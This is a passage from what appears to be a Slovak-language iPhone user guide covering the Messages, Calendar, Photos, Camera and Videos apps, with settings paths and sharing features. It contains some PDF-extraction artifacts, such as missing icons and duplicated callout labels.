Pokračovanie v konverzácii: Klepnite na konverzáciu v zozname Správy.
Používanie obrázkových znakov: Prejdite do Nastavenia > Všeobecné > Klávesnica >
Klávesnice > Pridať novú klávesnicu a potom klepnite na Emoji, čím sprístupníte danú
klávesnicu. Počas písania správy klepnite na , čím zobrazíte Emoji klávesnicu. Viac v časti
Špeciálne spôsoby zadávania na strane 151.
Zobrazenie kontaktných údajov osoby: Rolovaním prejdite na vrchnú časť obrazovky
(klepnite na stavový riadok) a zobrazia sa dostupné akcie, ako napríklad uskutočnenie
FaceTime hovoru.
Zobrazenie predošlých správ v konverzácii: Rolovaním prejdite na vrchnú časť obrazovky
(klepnite na stavový riadok). V prípade potreby klepnite na Načítať staršie správy.
Posielanie správ skupinám (iMessage a MMS): Klepnite na a zadajte viacero príjemcov.
Ak používate MMS, musí byť v Nastavenia > Správy zapnuté odosielanie skupinových správ.
Odpovede sú doručované len vám, nie sú kopírované ostatným ľuďom v skupine.
Spravovanie konverzácií
Konverzácie sú ukladané do zoznamu Správy. Neprečítané správy sú označené modrou bodkou
. Klepnutím zobrazte konverzáciu, v ktorej potom môžete pokračovať.
Preposlanie konverzácie: Klepnite na Upraviť, vyberte časti konverzácie, ktoré chcete
preposlať a klepnite na Preposlať.
Úprava konverzácie: Klepnite na Upraviť, vyberte časti konverzácie, ktoré chcete vymazať
a potom klepnite na Vymazať. Ak chcete vymazať všetky správy a prílohy bez vymazania
samotnej konverzácie, klepnite na Vym. všetky.
Vymazanie konverzácie: V zozname správ prejdite prstom po konverzácii a klepnite
na Vymazať.
Vyhľadanie konverzácie: Klepnutím na vrchnú časť obrazovky zobrazte vyhľadávacie pole,
do ktorého zadajte hľadaný text. Konverzácie môžete vyhľadávať aj z plochy. Viac v časti
Vyhľadávanie na strane 29.
Pridanie osoby do zoznamu kontaktov: Klepnite na telefónne číslo v zozname Správy
a potom klepnite na Pridať do kontaktov.
Zdieľanie fotografií, videí a ďalších informácií
Pomocou iMessage alebo MMS správ môžete odosielať a prijímať fotky a videá, ako aj
odosielať údaje o polohe, kontaktné údaje a nahrávky. Maximálna veľkosť príloh je stanovená
vaším poskytovateľom služieb — iPhone môže v prípade potreby stlačiť fotografické alebo
video prílohy.
Odoslanie fotky alebo videa: Klepnite na .
Odoslanie polohy: V aplikácii Mapy klepnite na pre danú polohu, klepnite na Zdieľať
polohu a potom klepnite na Správy.
Odoslanie kontaktných údajov: V aplikácii Kontakty vyberte kontakt, klepnite na Zdieľať
kontakt a potom klepnite na Správy.Kapitola 9 Správy 70
Odoslanie nahrávky: V aplikácii Diktafón klepnite na , klepnite na nahrávku, klepnite na
Zdieľať a potom klepnite na Správy.
Uloženie prijatej fotky alebo videa do albumu Fotoaparát: Klepnite na fotku alebo video
a potom klepnite na .
Kopírovanie fotografie alebo videa: Klepnite na prílohu a podržte na nej prst. Potom klepnite
na Kopírovať.
Pridanie osoby do zoznamu kontaktov zo zoznamu Správy: Klepnite na telefónne číslo alebo
emailovú adresu, klepnutím na stavový riadok prejdite do vrchnej časti obrazovky a potom
klepnite na Pridať kontakt.
Uloženie prijatých kontaktných údajov: Klepnite na bublinu s kontaktnými údajmi
v konverzácii a potom na Vytvoriť nový kontakt alebo Pridať ku kontaktu.
Nastavenia aplikácie Správy
Prejdite do Nastavenia > Správy a upravte nastavenia aplikácie Správy vrátane nasledovných:
• Zapnutie alebo vypnutie služby iMessage
• Informovanie ostatných užívateľov o prečítaní správy
• Špecifikovanie Apple ID alebo emailovej adresy, ktoré budú použité pre Správy
• Možnosti správ SMS a MMS
• Zobrazenie poľa Predmet
• Zobrazenie počtu znakov
Spravovanie hlásení pre správy: Viac v časti Funkcia Nerušiť a hlásenia na strane 138.
Nastavenie zvukového upozornenia prichádzajúcich textových správ: Viac v časti Zvuky na
strane 145.10
71
V skratke
V iPhone si môžete jednoducho naplánovať svoj čas. Môžete si prezerať jednotlivé kalendáre,
alebo zobraziť niekoľko kalendárov naraz.
Bodka na dni
označuje udalosť.
Bodka na dni
označuje udalosť.
Zmeniť kalendáre
alebo účty.
Zmeniť kalendáre
alebo účty.
Zobraziť pozvánky. Zobraziť pozvánky.
Zobrazenie alebo úprava udalosti: Klepnite na udalosť. Môžete vykonať nasledovné:
• Nastaviť primárne alebo sekundárne upozornenie
• Zmeniť dátum, čas alebo dĺžku trvania udalosti
• Preniesť udalosť do iného kalendára
• Pozvať iných účastníkov do udalostí v kalendároch iCloud, Microsoft Exchange a CalDAV
• Vymazať udalosť
Udalosť môžete aj presunúť jej podržaním a potiahnutím do nového časového obdobia alebo
úpravou krajných bodov.
Pridanie udalosti: Klepnite na , zadajte informácie o udalosti a potom klepnite na Hotovo.
• Nastavenie predvoleného kalendára pre nové udalosti: Prejdite do Nastavenia > Mail, kontakty,
kalendáre > Predvolený kalendár.
• Nastavenie predvolených časov upozornení pre narodeniny a udalosti: Prejdite do Nastavenia >
Mail, kontakty, kalendáre > Predvolené časy upozornení.
Vyhľadávanie udalostí: Klepnite na Zoznam a zadajte text do vyhľadávacieho poľa. Budú
sa prehľadávať nadpisy, lokalizácie a poznámky prezeraných kalendárov. Udalosti aplikácie
Kalendár môžete vyhľadávať aj z plochy. Viac v časti Vyhľadávanie na strane 29.
KalendárKapitola 10 Kalendár 72
Nastavenie zvuku upozornení kalendára: Prejdite do Nastavenia > Zvuky >
Upozornenia kalendára.
Týždenné zobrazenie: Otočte iPhone naležato.
Importovanie udalostí z kalendárového súboru: Ak ste v aplikácii Mail dostali súbor
kalendára .ics, otvorte správu a klepnutím na súbor kalendára naimportujte všetky udalosti,
ktoré obsahuje. Súbory typu .ics zverejnené na webových stránkach môžete importovať
aj klepnutím na odkaz súboru. Niektoré .ics súbory namiesto pridania udalostí do vášho
kalendára zapnú odoberanie kalendára. Viac v časti Práca s viacerými kalendármi na strane 72.
Ak máte iCloud účet, Microsoft Exchange alebo podporovaný CalDAV účet, môžete prijímať
pozvánky od ľudí zo svojej organizácie a odpovedať na ne.
Pozvanie ostatných do udalosti: Klepnite na udalosť, klepnite na Upraviť a klepnutím na
Pozvaní vyberte osoby z aplikácie Kontakty.
Odpovedanie na pozvánku: Klepnite na pozvánku v kalendári. Prípadne klenutím na
zobrazte obrazovku Udalosti a potom klepnite na pozvánku. Môžete si prezerať informácie
o organizátorovi a ďalších pozvaných osobách. Ak pridáte komentáre, ktoré nemusia
byť dostupné pre všetky typy kalendárov, tieto komentáre uvidí organizátor, nie však
ostatní účastníci.
Prijatie udalosti bez označenia času ako rezervovaného: Klepnite na udalosť, klepnite na
Dostupnosť a vyberte možnosť „Mám čas“. Udalosť zostane vo vašom kalendári, no ostatným
osobám posielajúcim pozvánky sa nezobrazí, že ste zaneprázdnení.
Práca s viacerými kalendármi
Môžete si prezerať jednotlivé kalendáre, alebo niekoľko kalendárov naraz. Môžete odoberať
kalendáre služieb iCloud, Google, Yahoo! alebo kalendáre typu iCalendar, ako aj udalosti a
narodeniny z Facebooku.
Zapnutie kalendárov iCloud, Google, Exchange alebo Yahoo!: Prejdite do Nastavenia > Mail,
kontakty, kalendáre, vyberte účet a klepnite na Kalendár.
Pridanie CalDAV účtu: Prejdite do Nastavenia > Mail, kontakty, kalendáre, klepnite na Pridať
účet a potom klepnite na Iný. V časti Kalendáre klepnite na Pridať CalDAV účet.
Zobrazenie udalostí z Facebooku: Prejdite do Nastavenia > Facebook, prihláste sa do svojho
Facebook účtu a zapnite prístup k službe Kalendár.
Výber kalendárov na prezeranie: Klepnite na Kalendáre a potom vyberte kalendáre, ktoré si
chcete prezerať. Udalosti všetkých vybratých kalendárov sa zobrazia v jednom zobrazení.
Zobrazenie narodeninového kalendára: Klepnite na Kalendáre a potom klepnite na
Narodeniny. Narodeniny z vašich kontaktov budú pridané medzi udalosti. Ak ste si nastavili
Facebook účet, môžete sem zahrnúť aj narodeniny priateľov na Facebooku.
Odoberať môžete kalendáre, ktoré používajú formát iCalendar (.ics). Odoberanie kalendárov
podporujú mnohé kalendárové služby, vrátane služieb iCloud, Yahoo!, Google a aplikácie
iCalendar v systéme OS X. Odoberané kalendáre sú určené len na čítanie. Udalosti
z odoberaných kalendárov si na iPhone môžete prezerať, nie je však možné ich upravovať, ani
v nich vytvárať nové udalosti.
Odoberanie kalendára: Prejdite do Nastavenia > Mail, kontakty, kalendáre a klepnite na
Pridať účet. Klepnite na Iný a potom na Pridať odoberaný kalendár. Zadajte server a názov
súboru s príponou .ics, ktorého kalendár chcete odoberať. iCalendar (formát .ics) zverejnený na
internete môžete odoberať jednoduchým klepnutím na odkaz.Kapitola 10 Kalendár 73
Zdieľanie iCloud kalendárov
iCloud kalendár môžete zdieľať s ďalšími užívateľmi iCloudu. Zdieľaný kalendár si môžu ostatní
užívatelia prezerať a môžete im povoliť aj pridávanie a upravovanie udalostí. Môžete zdieľať aj
verziu kalendára určenú len na čítanie, ktorú si môže prezerať ktokoľvek.
Vytvorenie iCloud kalendára: Klepnite na Kalendáre, klepnite na Upraviť a potom klepnite na
Pridať kalendár.
Zdieľanie iCloud kalendára: Klepnite na Kalendáre, klepnite na Upraviť a potom klepnite na
iCloud kalendár, ktorý chcete zdieľať. Klepnite na Pridať osobu a vyberte niekoho z aplikácie
Kontakty. Vybranej osobe bude doručená emailová pozvánka na pripojenie sa do kalendára, no
na jej prijatie potrebuje Apple ID a iCloud účet.
Vypnutie hlásení pre zdieľané kalendáre: Prejdite do Nastavenia > Mail, kontakty, kalendáre
a vypnite možnosť Upozor. zdieľaného kal.
Upravenie prístupu osoby do zdieľaného kalendára: Klepnite na Kalendáre, klepnite na
Upraviť a potom klepnite na osobu, s ktorou zdieľate kalendár. Môžete vypnúť možnosť
upravovania kalendára, znovu poslať pozvánku na pripojenie sa do kalendára alebo zastaviť
zdieľanie kalendára s danou osobou.
Zdieľanie kalendára určeného len na čítanie so všetkými: Klepnite na Kalendáre, klepnite
na Upraviť a potom klepnite na iCloud kalendár, ktorý chcete zdieľať. Zapnite možnosť
Verejný kalendár a potom klepnite na Zdieľať odkaz pre kopírovanie alebo odoslanie adresy
URL kalendára. Túto URL môžu na odoberanie vášho kalendára v kompatibilnej aplikácii, ako
napríklad Kalendár v iOS alebo OS X, používať ľubovoľní užívatelia.
Nastavenia aplikácie Kalendár
Nastavenia aplikácie Kalendár a kalendárových účtov ovplyvňuje niekoľko rôznych nastavení
v Nastavenia > Mail, kontakty, kalendáre. Sú to medzi inými:
• Synchronizácia udalostí z minulosti (budúce udalosti sa synchronizujú vždy)
• Zvuk upozornenia na nové pozvánky na stretnutia
• Podpora časových pásiem kalendára na zobrazovanie dátumov a časov v inom časovom
pásme11
74
Prezeranie fotografií a videí
Aplikácia Fotky vám na vašom iPhone umožňuje prezerať fotky v:
• Albume Fotoaparát — fotky a videá, ktoré ste spravili na iPhone alebo ste ich uložili z emailu,
textovej správy, webovej stránky a snímky obrazovky
• Albumoch Fotostreamov — fotky v albume Môj Fotostream a vašich zdieľaných
fotostreamoch (Viac v časti Fotostream na strane 75).
• Fotoarchíve a ďalších albumoch synchronizovaných zo svojho počítača (viac v časti
Synchronizácia s iTunes na strane 17)
Prehrať prezentáciu. Prehrať prezentáciu.
Upraviť fotku. Upraviť fotku.
Vymazať fotku. Vymazať fotku.
Klepnutím na obrazovku
zobrazte ovládanie.
Klepnutím na obrazovku
zobrazte ovládanie.
Zdieľať fotku, priradiť ju ku kontaktu,
použiť ju ako pozadie alebo ju vytlačiť.
Zdieľať fotku, priradiť ju ku kontaktu,
použiť ju ako pozadie alebo ju vytlačiť.
Streamovanie fotiek pomocou
funkcie AirPlay.
Streamovanie fotiek pomocou
funkcie AirPlay.
Prezeranie fotografií a videí: Klepnite na album a potom klepnite na miniatúru.
• Zobrazenie nasledujúcej alebo predchádzajúcej fotografie alebo videa: Potiahnite prst po
obrazovke doľava alebo doprava.
• Zväčšovanie a zmenšovanie: Klepnite dvakrát, prípadne potiahnite od seba alebo k sebe
dva prsty.
• Posúvanie fotografie: Potiahnite ju.
FotkyKapitola 11 Fotky 75
• Prehranie videa: Klepnite na v strede obrazovky. Ak chcete prepnúť medzi zobrazením
na celú obrazovku a zobrazením prispôsobeným veľkosti obrazovky, dvakrát klepnite
na obrazovku.
Albumy synchronizované s aplikáciou iPhoto 8.0 (iLife ’09) alebo novšou verziou, prípadne
s aplikáciou Aperture 3.0.2 je možné prezerať podľa udalostí alebo tvárí. Fotky je možné si
prezerať aj podľa miesta, kde boli odfotené (ak boli spravené pomocou fotoaparátu, ktorý
podporuje geotagging).
Zobrazenie prezentácie: Klepnite na miniatúru a potom klepnite na . Nastavte možnosti
a potom klepnite na Spustiť prezentáciu. Ak chcete zastaviť prezentáciu, klepnite na obrazovku.
Ak chcete nastaviť iné možnosti, klepnite na Nastavenia > Fotky a Kamera.
Streamovanie prezentácií alebo videí na TV: Viac v časti AirPlay na strane 32.
Usporadúvanie fotografií a videí
Vytvorenie albumu: Klepnite na Albumy, klepnite na , zadajte názov a klepnite na Uložiť.
Vyberte položky, ktoré chcete pridať do albumu a potom klepnite na Hotovo.
Poznámka: Albumy vytvorené na iPhone nie sú synchronizované s počítačom.
Pridávanie položiek do albumu: Počas prezerania miniatúr klepnite na Upraviť, vyberte
požadované položky a potom klepnite na Pridať.
Spravovanie albumov: Klepnite na Upraviť.
• Premenovanie albumu: Vyberte album a zadajte jeho nový názov.
• Zmena usporiadania albumov: Potiahnite .
• Vymazanie albumu: Klepnite na .
Premenovať alebo vymazať je možné len albumy vytvorené na iPhone.
Fotostream
Fotostream, ktorý je funkciou iCloudu (viac v časti iCloud na strane 16), automaticky prenáša
fotky spravené na iPhone na ostatné zariadenia nastavené na používanie Fotostreamu, vrátane
vášho Macu alebo PC. Fotostream vám taktiež umožňuje zdieľať fotky priamo na zariadenia
rodiny a priateľov a na webovej stránke.
O službe Fotostream
Keď je zapnutá funkcia Fotostream, fotky, ktoré spravíte na iPhone (a aj ostatné fotky pridané
do albumu Fotoaparát) sa zobrazia vo vašom fotostreame po opustení aplikácie Kamera.
iPhone musí byť zároveň pripojený na internet prostredníctvom Wi-Fi. Tieto fotky sa zobrazia
v albume Môj Fotostream na iPhone a na vašich ostatných zariadeniach nastavených na
používanie fotostreamu.
Zapnutie Fotostreamu: Prejdite do Nastavenia > iCloud > Fotostream.
Fotky pridané do vášho fotostreamu z vašich ostatných iCloud zariadení sa taktiež zobrazia
v albume Môj Fotostream. iPhone a ostatné iOS zariadenia môžu v albume Môj Fotostream
uchovať až 1000 najnovších fotiek. Všetky fotky z Fotostreamu si môžete natrvalo uložiť vo
svojich počítačoch.
Poznámka: Fotky vo Fotostreame nezaberajú v iCloud úložisku žiadne miesto.Kapitola 11 Fotky 76
Spravovanie obsahu fotostreamu: V albume fotostreamu klepnite na Upraviť.
• Uloženie fotografií v iPhone: Označte fotografie a klepnite na Uložiť.
• Zdieľanie, tlač, kopírovanie alebo ukladanie fotiek do albumu Fotoaparát: Označte fotografie
a klepnite na Zdieľať.
• Vymazanie fotografií: Označte fotografie a klepnite na Vymazať.
Poznámka: Po vymazaní budú fotky odstránené z fotostreamov na všetkých vašich
zariadeniach, no pôvodné fotky zostanú v albume Fotoaparát na zariadení, na ktorom boli
vytvorené. Fotky z fotostreamu, ktoré boli uložené na zariadení alebo v počítači nebudú
vymazané. Ak chcete vymazať fotky z Fotostreamu, musíte mať na iPhone a na všetkých
ostatných zariadeniach systém iOS 5.1 alebo novší. Viac v časti support.apple.com/kb/HT4486.
Zdieľané Fotostreamy
Zdieľané Fotostreamy vám umožňujú zdieľať fotky z vybranými ľuďmi. V systémoch iOS 6 a
OS X Mountain Lion môžu užívatelia odoberať vaše zdieľané fotostreamy, prezerať si posledné
pridané fotky, označiť jednotlivé fotky ako „Páči sa“ a komentovať fotky priamo zo svojich
zariadení. Na zdieľanie fotostreamu s ostatnými na webe môžete pre zdieľaný fotostream
vytvoriť verejnú webovú stránku.
Poznámka: Zdieľané fotostreamy fungujú cez Wi-Fi pripojenie aj cez mobilné siete. Prenos dát
v mobilnej sieti môže byť spoplatnený.
Zapnutie funkcie Zdieľané fotostreamy: Prejdite do Nastavenia > iCloud > Fotostream.
Vytvorenie zdieľaného fotostreamu: Klepnite na Fotostream a potom klepnite na . Ak
chcete pozvať užívateľov systémov iOS 6 alebo OS X Mountain Lion na odoberanie svojho
zdieľaného fotostreamu, zadajte ich emailové adresy. Ak chcete zverejniť fotostream na serveri
icloud.com, zapnite možnosť Verejná webstránka. Pomenujte album a klepnite na Vytvoriť.
Pridanie fotiek do zdieľaného fotostreamu: Vyberte fotku, klepnite na , klepnite na
Fotostream a vyberte zdieľaný fotostream. Ak chcete pridať viacero fotiek z jedného albumu,
klepnite na Upraviť, vyberte fotky a potom klepnite na Zdieľať.
Vymazanie fotiek zo zdieľaného fotostreamu: Klepnite na zdieľaný fotostream, klepnite na
Upraviť, vyberte fotky a potom klepnite na Vymazať.
Úprava zdieľaného fotostreamu: Klepnite na Fotostream a potom klepnite na . Môžete:
• Premenovať fotostream
• Pridať alebo odstrániť odoberateľov a znovu poslať pozvánky
• Vytvoriť verejnú webstránku a zdieľať odkaz
• Vymazať fotostream
Zdieľanie fotografií a videí
Fotky môžete zdieľať v emailovej správe, textovej správe (MMS alebo iMessage), vo
fotostreamoch, prípadne ich môžete zverejniť na Twitteri alebo na Facebooku. Videá môžete
zdieľať v emailových a textových správach (MMS alebo iMessage) a na YouTube.
Zdieľanie alebo kopírovanie fotky alebo videa: Vyberte fotku alebo video a potom klepnite
na . Ak symbol nie je zobrazený, klepnutím na obrazovku zobrazte ovládanie.
Maximálna veľkosť príloh je stanovená vaším poskytovateľom služby. iPhone môže v prípade
potreby stlačiť fotografické alebo video prílohy.Kapitola 11 Fotky 77
Fotky a videá môžete kopírovať a vložiť ich do emailovej alebo textovej správy (MMS alebo
iMessage).
Zdieľanie alebo kopírovanie viacerých fotografií a videí: Počas prezerania miniatúr klepnite
na Upraviť, vyberte fotky alebo videá a potom klepnite na Zdieľať.
Uloženie fotografie alebo videa:
• Z emailu: Klepnutím stiahnite položku (ak je to potrebné), klepnite na fotku, prípadne
podržte prst na videu a potom klepnite na Uložiť.
• Z textovej správy: Klepnite na položku v konverzácii, klepnite na a potom klepnite na
Uložiť do albumu Fotoaparát.
• Z webovej stránky (len fotky): Klepnite na fotografiu, podržte na nej prst a potom klepnite na
Uložiť obrázok.
Fotky a videá, ktoré ste prijali alebo uložili z webových stránok, sú ukladané do
albumu Fotoaparát.
Tlačenie fotografií
Tlač na tlačiarniach s funkciou AirPrint:
• Tlač jednotlivej fotografie: Klepnite na a potom klepnite na Tlačiť.
• Tlačenie viacerých fotografií: Počas prezerania fotoalbumu klepnite na Upraviť, vyberte
fotografie, klepnite na Zdieľať a potom klepnite na Tlačiť.
Viac v časti Tlač pomocou funkcie AirPrint na strane 33.12
78
V skratke
Ak chcete rýchlo otvoriť aplikáciu Kamera na zamknutom iPhone, potiahnite nahor.
S iPhonom môžete fotografovať a natáčať videá. Okrem iSight kamery na zadnej strane sa
na prednej strane nachádza FaceTime kamera určená na komunikáciu v aplikácii FaceTime
a fotografovanie autoportrétov. LED blesk na zadnej strane vám v prípade potreby dodá
viac svetla.
Klepnutím na
osobu alebo
objekt zaostrite
a upravte
expozíciu.
Klepnutím na
osobu alebo
objekt zaostrite
a upravte
expozíciu.
Prepínanie
medzi
kamerami.
Prepínanie
medzi
kamerami.
Odfotiť. Odfotiť. Prepínač
Fotoaparát/
Video
Prepínač
Fotoaparát/
Video
Zobraziť
nasnímané
fotky a videá.
Zobraziť
nasnímané
fotky a videá.
Nastaviť režim
LED blesku.
Nastaviť režim
LED blesku.
Zapnite mriežku alebo
HDR, prípadne spravte
panoramatickú fotku.
Zapnite mriežku alebo
HDR, prípadne spravte
panoramatickú fotku.
Na mieste ostrenia fotoaparátu alebo kamery sa na krátky okamih zobrazí obdĺžnik. Pri
fotografovaní osôb pomocou iPhonu 4S alebo novšieho využije iPhone detekciu tvárí
a automaticky zaostrí a vyváži expozíciu až pre desať tvárí. Na každej zdetegovanej tvári sa
zobrazí obdĺžnik.
KameraKapitola 12 Kamera 79
Fotografovanie: Klepnite na alebo stlačte jedno z tlačidiel na ovládanie hlasitosti.
• Zväčšovanie a zmenšovanie: Použite gesto rozovretia dvoch prstov (len iSight kamera).
Fotografovanie panorámy (iPhone 4S alebo novšie modely): Klepnite na Možnosti a potom
klepnite na Panoráma. Nasmerujte iPhone na miesto, kde chcete začať snímať panorámu a
klepnite na . Pevne držte iPhone a pomaly ním otáčajte v smere šípky. Snažte sa udržať šípku
priamo na horizonte. Po skončení klepnite na Hotovo.
• Obrátenie smeru snímania: Klepnite na šípku.
Nahrávanie videa: Prepnite na a potom klepnite na alebo použite jedno z tlačidiel na
ovládanie hlasitosti na spustenie alebo ukončenie nahrávania.
• Fotografovanie počas nahrávania videa: Klepnite na .
Ak spravíte fotografiu alebo spustíte nahrávanie videa, iPhone prehrá zvuk uzávierky. Hlasitosť
tohto zvuku môžete upraviť pomocou tlačidiel hlasitosti alebo stíšiť zvuk pomocou prepínača
Zvoniť/Ticho.
Poznámka: V niektorých krajinách bude zvuk uzávierky prehrávaný aj po stíšení iPhonu.
Ak sú zapnuté lokalizačné služby, sú k fotkám a videám priradené informácie o polohe, ktoré
môžete využiť v iných aplikáciách a na webových stránkach určených na zdieľanie fotiek. Viac v
časti Súkromie na strane 146.
Nastavenie zaostrenia a expozície:
• Nastavenie zaostrenia a expozície pre aktuálny záber: Klepnite na objekt na obrazovke.
Detekcia tvárí bude dočasne vypnutá.
• Zamknutie zaostrenia a expozície: Dotknite sa obrazovky a podržte na nej prst, až kým
obdĺžnik nezačne pulzovať. V spodnej časti obrazovky sa zobrazí nápis Zámok AE/AF
a zaostrenie a expozícia zostanú zamknuté, až kým znovu neklepnete na obrazovku.
Odfotenie snímky obrazovky: Naraz stlačte a hneď uvoľnite tlačidlá Spať/Zobudiť a Domov .
Fotografia bude pridaná do vášho albumu Fotoaparát.
HDR fotografie
Funkcia HDR (iPhone 4 a novšie modely) skombinuje tri rôzne expozície do jednej fotografie
s vysokým dynamickým rozsahom (angl. skratka HDR). Najlepšie výsledky získate, ak bude
iPhone aj snímaný predmet nehybný.
Zapnutie HDR: Klepnite na Možnosti a potom nastavte HDR. Ak je funkcia HDR zapnutá, blesk
je vypnutý.
Ponechanie normálnej fotky okrem HDR verzie: Prejdite do Nastavenia > Fotky a Kamera. Ak
si ponecháte obe verzie snímky, zobrazí sa v ľavom hornom rohu HDR fotky . Fotka musí
byť zobrazená v albume Fotoaparát a musí byť zobrazené ovládanie.
Prezeranie, zdieľanie a tlač
Fotografie a videá nasnímané pomocou aplikácie Fotoaparát sa automaticky ukladajú do vášho
albumu Fotoaparát. Ak je zapnutý Fotostream, zobrazia sa nové fotky aj v albume Fotostream
a sú prenesené na všetky vaše ostatné zariadenia. Viac v časti Fotostream na strane 75.
Zobrazenie vášho albumu Fotoaparát: Potiahnite prst doprava alebo klepnite na miniatúru.
Váš album Fotoaparát môžete zobraziť v aplikácii Fotky.
• Zobrazenie alebo skrytie ovládania pri prezeraní fotiek alebo videí: Klepnite na obrazovku.Kapitola 12 Kamera 80
• Zdieľanie fotografie alebo videa: Klepnite na . Ak chcete poslať viacero fotografií alebo
videí, počas prezerania miniatúr klepnite na , označte položky a potom klepnite na Zdieľať.
• Tlačenie fotografie: Klepnite na . Viac v časti Tlač pomocou funkcie AirPrint na strane 33.
• Vymazanie fotografie alebo videa: Klepnite na .
Návrat do kamery: Klepnite na .
Prenos fotografií a videí do počítača: Pripojte iPhone k počítaču.
• Mac: Vyberte fotografie lebo videá a potom kliknite na Importovať alebo Stiahnuť v aplikácii
iPhoto, alebo v inej aplikácii určenej na spravovanie fotografií na vašom počítači.
• PC: Riaďte sa inštrukciami dodanými k aplikácii na správu fotografií.
Ak po prenose do počítača vymažete fotografie alebo videá z iPhonu, budú odstránené
z albumu Fotoaparát. Na synchronizáciu fotiek a videí (videá je možné synchronizovať len
s počítačom Mac) s aplikáciou Fotky na iPhone môžete použiť panel nastavení Fotky v iTunes.
Viac v časti Synchronizácia s iTunes na strane 17.
Úprava fotografií a strihanie videa
Otočiť Otočiť
Autovylepšenie Autovylepšenie
Odstrániť červené oči Odstrániť červené oči
Orezať Orezať
Úprava fotografie: Počas prezerania fotografie na celej obrazovke klepnite na Upraviť a potom
klepnite na nástroj.
• Autovylepšenie: Pri vylepšení fotky dôjde k úprave celkového jasu fotografie, sýtosti farieb
a ďalších vlastností. Ak sa rozhodnete, že vylepšenie sa vám nepáči, znovu klepnite na nástroj
(a to aj v prípade, že ste uložili zmeny).
• Korekcia červených očí: Klepnite na každé oko, ktoré vyžaduje korekciu.
• Orezanie: Potiahnite rohy mriežky, potiahnutím upravte polohu fotky a potom klepnite na
Orezať. Ak chcete nastaviť konkrétny pomer strán, klepnite na Pomer strán.
Skrátenie videa: Počas prezerania videa zobrazte klepnutím na obrazovku ovládacie prvky.
Potiahnite jeden z koncov nástroja na prezeranie snímok navrchu a potom klepnite na Skrátiť.
Dôležité: Ak vyberiete možnosť Skrátiť originál, budú orezané snímky natrvalo vymazané
z pôvodného videa. Ak vyberiete možnosť Uložiť nový klip, bude v albume Fotoaparát uložené
nové skrátené video a pôvodné video ostane nezmenené.13
81
Používajte aplikáciu Videá na pozeranie filmov, TV seriálov a hudobných videí. Na prehrávanie
videopodcastov si nainštalujte bezplatnú aplikáciu Podcasty z obchodu App Store. Viac v
časti kapitola 31, Podcasty, na strane 117. Videá nahraté pomocou kamery iPhonu si môžete
prehrávať v aplikácii Fotky.
Vyhľadávajte
potiahnutím nadol.
Vyhľadávajte
potiahnutím nadol.
Prezerajte si ďalšie
epizódy série.
Prezerajte si ďalšie
epizódy série.
Klepnutím na video
spustite jeho prehrávanie.
Klepnutím na video
spustite jeho prehrávanie.
UPOZORNENIE: Dôležité informácie týkajúce sa prevencie pred poškodením sluchu nájdete v
časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Získavanie videí:
• Kupovanie alebo požičiavanie videí v obchode iTunes store (služba nie je dostuopná vo
všetkých oblastiach): Otvorte aplikáciu iTunes na iPhone a klepnite na Videá. Viac v časti
kapitola 22, iTunes Store, na strane 98.
• Prenos videí z počítača: Pripojte iPhone a zosynchronizujte videá z iTunes na svojom počítači.
Viac v časti Synchronizácia s iTunes na strane 17.
• Streamovanie videí z počítača: Zapnite Domáce zdieľanie v iTunes na svojom počítači. Potom
na iPhone prejdite do Nastavenia > Video a zadajte svoje Apple ID spolu s heslom, ktoré ste
použili pri nastavovaní domáceho zdieľania na svojom počítači. Potom otvorte aplikáciu
Videá na iPhone a klepnite na Zdieľané v hornej časti zoznamu videí.
VideáKapitola 13 Videá 82
Konvertovanie videa do formátu vhodného pre iPhone: Ak sa pri prenášaní videa z iTunes na
iPhone zobrazí správa upozorňujúca na to, že ho na iPhone nie je možné prehrať, môžete toto
video konvertovať. Vyberte video vo svojej knižnici iTunes a vyberte Rozšírené > Vytvoriť verziu
pre iPod alebo iPhone. Potom preneste konvertované video na iPhone.
Klepnutím na video zobrazíte
alebo skryjete ovládanie.
Klepnutím na video zobrazíte
alebo skryjete ovládanie.
Prehrať video na TV
pomocou Apple TV.
Prehrať video na TV
pomocou Apple TV.
Potiahnite pre prechod
dopredu alebo dozadu.
Potiahnite pre prechod
dopredu alebo dozadu.
Vybrať
kapitolu.
Vybrať
kapitolu.
Potiahnutím
upravte
hlasitosť.
Potiahnutím
upravte
hlasitosť.
Prehranie videa: Klepnite na video v zozname videí.
• Roztiahnutie videa na celú obrazovku alebo na šírku obrazovky: Klepnite na alebo .
Prípade dvojitým klepnutím roztiahnite video bez zobrazenia ovládania.
• Spustenie prehrávania od začiatku: Ak video obsahuje kapitoly, potiahnite posuvník v
indikátore priebehu na ľavý okraj. Ak video neobsahuje kapitoly, klepnite na .
• Prechod na ďalšiu alebo predošlú kapitolu (ak je dostupná): Klepnite na alebo . Môžete
tiež dvakrát (prejsť na ďalšiu) alebo trikrát (prejsť na predošlé) stlačiť stredné tlačidlo alebo
jeho ekvivalent na kompatibilnej náhlavnej sade.
• Prevíjanie dopredu alebo dozadu: Dotknite sa a podržte alebo .
• Výber inej jazykovej verzie (ak je k dispozícii): Klepnite na a v zozname zvukových verzií
vyberte jazyk.
• Zobrazenie a skrytie titulkov (ak sú k dispozícii): Klepnite na a v zozname Titulky vyberte
jazyk, prípadne vyberte Vyp.
• Zobrazenie alebo skrytie skrytých titulkov (ak sú k dispozícii): Prejdite do Nastavenia > Videá.
• Prehrávanie videí na televízore: Viac v časti Pripájanie iPhonu k televízoru alebo inému
zariadeniu na strane 32.
Nastavenie automatického vypnutia: Otvorte aplikáciu Hodiny, klepnite na Časovač
a potiahnutím prsta nastavte počet hodín a minút. Klepnite na Po uplynutí času a vyberte
Zastaviť prehrávanie, klepnite na Nastaviť a klepnutím na Štart spustite odpočítavanie. Po
vypršaní zadaného času sa na iPhone zastaví prehrávanie hudby alebo videí, zatvoria sa všetky
spustené aplikácie a zariadenie sa zamkne.
Vymazanie videa: Potiahnite prst na videu v zozname doľava alebo doprava. Vymazaním videa
z iPhonu (s výnimkou požičaného filmu) nevymažete video z knižnice iTunes.
Dôležité: Ak z iPhonu vymažete požičaný film, bude vymazaný definitívne a nie je možné ho
preniesť späť na váš počítač.
Ak z iPhonu vymažete video (neplatí to pre požičané filmy), nebude vymazané z knižnice
iTunes na vašom počítači a môžete ho neskôr znovu synchronizovať na iPhone. Ak nechcete
video znovu synchronizovať na iPhone, vypnite jeho synchronizáciu v iTunes. Viac v časti
Synchronizácia s iTunes na strane 17.14
83
Vyhľadávanie lokalít
